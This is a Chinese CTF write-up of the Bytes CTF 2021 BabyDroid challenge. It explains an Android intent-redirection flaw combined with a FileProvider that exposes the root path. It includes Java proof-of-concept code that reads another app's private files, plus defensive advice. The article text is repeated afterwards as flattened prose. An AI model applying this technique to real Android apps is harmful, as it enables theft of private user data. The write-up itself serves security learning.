Bytes CTF 2021 BabyDroid复现
字数 1333 2025-08-29 08:30:12

Bytes CTF 2021 BabyDroid漏洞分析与复现

漏洞概述

BabyDroid是一个Android应用程序,存在两个主要安全漏洞:

  1. Intent重定向漏洞:在Vulnerable Activity中,未经验证直接启动从Intent中获取的另一个Intent
  2. Grant Uri permission漏洞:通过FileProvider配置不当,结合Intent重定向可实现任意文件读取

漏洞组件分析

AndroidManifest.xml分析

应用包含以下主要组件:

  • 两个Activity(其中Vulnerable Activity是导出的)
  • 一个Receiver(FlagReceiver)
  • 一个Provider(FileProvider)

关键配置:

<provider
    android:name="androidx.core.content.FileProvider"
    android:exported="false"
    android:authorities="androidx.core.content.FileProvider"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/file_paths"/>
</provider>

Vulnerable Activity分析

public class Vulnerable extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent intent = (Intent) getIntent().getParcelableExtra("intent");
        startActivity(intent);
    }
}

漏洞点:直接从Intent中获取并启动另一个Intent,未做任何验证,导致Intent重定向漏洞。

FlagReceiver分析

public class FlagReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String flag = intent.getStringExtra("flag");
        if (flag != null) {
            File file = new File(context.getFilesDir(), "flag");
            writeFile(file, flag);
            Log.e("FlagReceiver", "received flag.");
        }
    }
    // 文件写入方法省略...
}

功能:接收广播并将flag写入应用私有目录。

FileProvider配置

file_paths.xml配置:

<paths>
    <root-path
        name="root"
        path=""/>
</paths>

危险配置:允许从根目录开始的文件访问,结合grantUriPermissions="true",可能导致任意文件读取。

攻击思路

  1. 利用Intent重定向:通过Vulnerable Activity转发我们构造的恶意Intent
  2. 结合FileProvider:在转发的Intent中设置FLAG_GRANT_READ_URI_PERMISSION标志,获取目标应用私有文件的访问权限

关键步骤:

  1. 构造嵌套Intent,外层Intent用于启动Vulnerable Activity,内层Intent用于访问FileProvider
  2. 在内层Intent中设置URI指向目标文件(如flag文件)
  3. 通过Vulnerable Activity以目标应用身份启动我们的恶意Intent,获取文件访问权限

漏洞利用代码示例

// 构造内层Intent,用于访问FileProvider
Intent innerIntent = new Intent();
innerIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
innerIntent.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));

// 构造外层Intent,用于启动Vulnerable Activity并携带内层Intent
Intent outerIntent = new Intent();
outerIntent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
outerIntent.putExtra("intent", innerIntent);

// 启动攻击
startActivity(outerIntent);

完整攻击流程

  1. 在目标设备上安装存在漏洞的应用(victim.apk)
  2. 使用root权限通过adb发送广播写入flag文件:
    am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag flag{this_is_test_flag}
    
  3. 安装攻击应用(attack.apk)并执行攻击代码
  4. 攻击应用将获取到flag文件内容

防御措施

  1. 避免Intent重定向

    • 不要直接启动从Intent中获取的另一个Intent
    • 如果需要转发Intent,应明确验证目标组件是否允许被启动
  2. 安全配置FileProvider

    • 限制可访问的路径范围,避免使用<root-path>
    • 仅在必要时设置grantUriPermissions="true"
    • 为FileProvider使用自定义的authorities,避免使用通用名称
  3. 最小权限原则

    • 仅导出必要的组件
    • 对导出的组件进行严格的输入验证

总结

BabyDroid漏洞展示了Android应用中两个常见问题的组合利用:

  1. 不安全的Intent处理导致的Intent重定向
  2. FileProvider配置不当导致的任意文件读取

通过这两个漏洞的组合,攻击者可以读取目标应用的私有文件,获取敏感信息。开发者应重视组件安全配置和Intent处理的安全性。

Bytes CTF 2021 BabyDroid漏洞分析与复现 漏洞概述 BabyDroid是一个Android应用程序,存在两个主要安全漏洞: Intent重定向漏洞 :在Vulnerable Activity中,未经验证直接启动从Intent中获取的另一个Intent Grant Uri permission漏洞 :通过FileProvider配置不当,结合Intent重定向可实现任意文件读取 漏洞组件分析 AndroidManifest.xml分析 应用包含以下主要组件: 两个Activity(其中Vulnerable Activity是导出的) 一个Receiver(FlagReceiver) 一个Provider(FileProvider) 关键配置: Vulnerable Activity分析 漏洞点:直接从Intent中获取并启动另一个Intent,未做任何验证,导致Intent重定向漏洞。 FlagReceiver分析 功能:接收广播并将flag写入应用私有目录。 FileProvider配置 file_paths.xml 配置: 危险配置:允许从根目录开始的文件访问,结合 grantUriPermissions="true" ,可能导致任意文件读取。 攻击思路 利用Intent重定向 :通过Vulnerable Activity转发我们构造的恶意Intent 结合FileProvider :在转发的Intent中设置 FLAG_GRANT_READ_URI_PERMISSION 标志,获取目标应用私有文件的访问权限 关键步骤: 构造嵌套Intent,外层Intent用于启动Vulnerable Activity,内层Intent用于访问FileProvider 在内层Intent中设置URI指向目标文件(如flag文件) 通过Vulnerable Activity以目标应用身份启动我们的恶意Intent,获取文件访问权限 漏洞利用代码示例 完整攻击流程 在目标设备上安装存在漏洞的应用(victim.apk) 使用root权限通过adb发送广播写入flag文件: 安装攻击应用(attack.apk)并执行攻击代码 攻击应用将获取到flag文件内容 防御措施 避免Intent重定向 : 不要直接启动从Intent中获取的另一个Intent 如果需要转发Intent,应明确验证目标组件是否允许被启动 安全配置FileProvider : 限制可访问的路径范围,避免使用 <root-path> 仅在必要时设置 grantUriPermissions="true" 为FileProvider使用自定义的authorities,避免使用通用名称 最小权限原则 : 仅导出必要的组件 对导出的组件进行严格的输入验证 总结 BabyDroid漏洞展示了Android应用中两个常见问题的组合利用: 不安全的Intent处理导致的Intent重定向 FileProvider配置不当导致的任意文件读取 通过这两个漏洞的组合,攻击者可以读取目标应用的私有文件,获取敏感信息。开发者应重视组件安全配置和Intent处理的安全性。